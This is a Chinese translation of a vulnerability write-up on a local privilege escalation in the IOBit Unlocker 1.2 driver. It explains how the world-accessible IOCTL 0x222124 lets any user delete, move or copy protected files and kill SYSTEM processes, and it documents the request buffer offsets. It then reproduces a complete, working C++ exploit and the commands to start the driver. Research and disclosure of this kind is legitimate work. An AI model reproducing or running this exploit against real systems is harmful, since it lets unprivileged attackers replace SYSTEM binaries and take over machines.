导语:请求中的所有其他字节均为0,4字节的返回值是NTSTATUS代码,对驱动程序的访问权限是对所有人的完全访问权限,就可以在代码中重新实现相同的功能,这就变成了一个提权漏洞。
0x01 漏洞描述
IOBitUnlocker驱动程序存在2个主要漏洞:
1. IOBitUnlocker驱动程序中的IOCTL代码0x222124允许低特权用户解锁文件,它会杀死持有该进程句柄的进程,即使它们正在以SYSTEM特权运行。
2. IOCTL IOBitUnlocker驱动程序中的代码0x222124允许低特权用户删除,移动或复制系统上的任何文件。
0x02 漏洞分析
该应用安装了将执行上述操作的帮助程序和驱动程序,如果我们在OSR的设备树中检查设备的权限,可以看到任何人都具有对驱动程序的完全访问权限:
当我们启动客户端应用程序时,它将提示需要提高访问权限:
要查看客户端的功能或如何执行操作,可以逆向分析驱动程序,但是使用@zodiacon写的的DriverMon工具会更容易,该工具可以监视IOCTL请求并显示数据。
添加文件时,可以看到有一个IOCTL代码正在查询有关文件的信息:是否有任何进程正在使用它,使用了IOCTL代码0x222128。
如果有进程正在使用它,我们将使用以下文件获取进程的PID:
如果单击解锁,我们将使用IOCTL看到一个稍有不同的请求0x222124,再次传递文件名以及偏移量0x424处的数字3:
如果我们查看IDA中的驱动程序文件,将看到它支持的两个IOCTL代码。
在相关偏移量的请求中看到如下内容:
1. 开锁:
1. 0x0:Unicode中的文件名
2. 0x424:字节0x3
2. 解锁并删除:
1. 0x0:Unicode中的文件名
2. 0x420:字节0x1
3. 0x424:字节0x3
3. 解锁并重命名:
1. 0x0:文件名
2. 0x210:新文件名
3. 0x420:字节0x2
4. 0x424:字节0x3
4. 解锁并移动:
1. 0x0:文件名
2. 0x210:具有完整路径的新文件名
3. 0x420:字节0x3
4. 0x424:字节0x3
5. 解锁并复制:
1. 0x0:文件名
2. 0x210:具有完整路径的新文件名
3. 0x420:字节0x4
4. 0x424:字节0x3
文件重命名操作的输入:
如果单击Force mode偏移量为0x424的字节,则设置为0x7。请求中的所有其他字节均为0,该工具不支持超过256个字节的文件路径,这是典型的MAX_PATH值。4字节的返回值是NTSTATUS代码,如果选择文件夹,则会得到相同的输入值。
考虑到对驱动程序的访问权限是对所有人的完全访问权限,可以在代码中重新实现相同的功能。这是一个明显的特权升级漏洞,我们可以:
1. 删除,复制,移动系统中的任何文件;
2. 杀死任何进程(解锁功能将终止持有该文件句柄的进程)。
如果查看代码,我们可以看到关键系统进程有一个白名单:
我们可以轻松替换任何以SYSTEM身份运行的二进制文件,也可以将DLL复制到将其作为SYSTEM加载的位置。
唯一不起作用的项是重命名文件,由于某种原因,如果用户没有权限,驱动程序将无法重命名该文件。
0x03 漏洞验证
PoC代码:
// UnlockExploit.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include #include #include BOOL FileExists(LPCWSTR szPath) { DWORD dwAttrib = GetFileAttributesW(szPath); printf("[i] File exists status: 0x%08x\n", dwAttrib); return (dwAttrib != INVALID_FILE_ATTRIBUTES); } void ReadStringFromSTDIN(wchar_t * buffer) { printf("> "); fgetws((wchar_t*)buffer, 0x200, stdin); memset((LPVOID)((SIZE_T)buffer + (lstrlenW((LPCWSTR)buffer) * sizeof(WCHAR) - sizeof(WCHAR))), 0x00, sizeof(WCHAR)); //remove end of line character } int main(int argc, char* argv[]) { printf("[i] IOBit Unlocker Privilege Escalation PoC\n"); //open the driver HANDLE hDriver = CreateFileW(L"\\\\.\\IOBitUnlockerDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver != INVALID_HANDLE_VALUE) { printf("[+] opened handle to the driver\n"); DWORD input_buffer_size = 0x1000; DWORD output_buffer_size = 0x1000; //allocate input buffer LPVOID input_buffer = VirtualAlloc(NULL, (SIZE_T)input_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (input_buffer == NULL) { printf("[-] Unable to allocate memory for input buffer\n"); ExitProcess(-1); } printf("[+] Allocated input memory buffer at: 0x%Ix\n", (UINT64)input_buffer); //allocate output buffer LPVOID output_buffer = VirtualAlloc(NULL, (SIZE_T)output_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (output_buffer == NULL) { printf("[-] Unable to allocate memory for output buffer\n"); ExitProcess(-1); } printf("[+] Allocated output buffer memory at: 0x%Ix\n", (UINT64)output_buffer); // Clear memory area memset(input_buffer, 0x00, input_buffer_size); memset(output_buffer, 0x00, output_buffer_size); printf("[i] Enter full path for the file to unlock. Eg: C:\\Windows\\System32\\cmd.exe\n"); ReadStringFromSTDIN((wchar_t*)input_buffer); wprintf(L"Fileto be checked: %s\n", (wchar_t *)input_buffer); if (!FileExists((LPCWSTR)input_buffer)) { printf("[-] This file doesn't exists\n"); ExitProcess(-1); } //print options printf("[+] File found!\n"); printf("[i] Choose an option:\n"); printf("1 - INFO\n"); printf("2 - Unlock\n"); printf("3 - Unlock & Delete\n"); printf("4 - Unlock & Rename\n"); printf("5 - Unlock & Move\n"); printf("6 - Unlock & Copy\n"); boolean valid = false; int option = 0; while (!valid) { printf("> "); int result = scanf_s("%d", &option); if (result == EOF) { printf("[-] Invalid input\n"); continue; } if (result == 0) { while (fgetc(stdin) != '\n') // Read until a newline is found ; printf("[-] Invalid input\n"); continue; } if (option > 0 && option < 7) { valid = true; while (fgetc(stdin) != '\n') // Read until a newline is found, if we don't do this it will mess up code later ; } else { printf("[-] Invalid number, enter something between 1 and 6\n"); } } DWORD dwIoctl_info = 0x222128; DWORD dwIoctl_action = 0x222124; DWORD dwBytesOut = 0; switch (option) { case 1: { DeviceIoControl(hDriver, dwIoctl_info, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL); wprintf(L"[i] File info: %s\n", (wchar_t*)output_buffer); break; } case 2: { ((byte*)input_buffer)[0x424] = 0x3; DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL); break; } case 3: { ((byte*)input_buffer)[0x420] = 0x1; ((byte*)input_buffer)[0x424] = 0x3; DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL); break; } case 4: //this is not working id the user doesn't have rights to access the file { ((byte*)input_buffer)[0x420] = 0x2; ((byte*)input_buffer)[0x424] = 0x3; printf("[i] Enter new filename:\n"); ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210)); DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL); break; } case 5: { ((byte*)input_buffer)[0x420] = 0x3; ((byte*)input_buffer)[0x424] = 0x3; printf("[i] Enter new path (move operation):\n"); ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210)); DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL); break; } case 6: { ((byte*)input_buffer)[0x420] = 0x4; ((byte*)input_buffer)[0x424] = 0x3; printf("[i] Enter new path (copy operation):\n"); ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210)); DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL); break; } default: break; } } else { printf("[-] Couldn't open the driver\n"); ExitProcess(-1); } CloseHandle(hDriver); ExitProcess(0); }
漏洞测试:
通常只有在启动主应用程序后,驱动程序才会启动,一旦退出,驱动程序将被终止并禁用。如果要手动启动以进行测试,则需要自己启动:
sc config iobitunlocker start= demand sc start iobitunlocker
POC文件如下,可以自己尝试测试验证:
https://github.com/theevilbit/exploits/tree/master/IOBit%20Unlocker%201.2%20LPE/UnlockExploit
0x04 分析总结
单击Force mode的偏移量为0x424的字节,设置为0x7。请求中的所有其他字节均为0,4字节的返回值是NTSTATUS代码,对驱动程序的访问权限是对所有人的完全访问权限,就可以在代码中重新实现相同的功能,这就变成了一个提权漏洞。
本文翻译自:https://theevilbit.github.io/posts/iobit_unlocker_lpe/如若转载,请注明原文地址: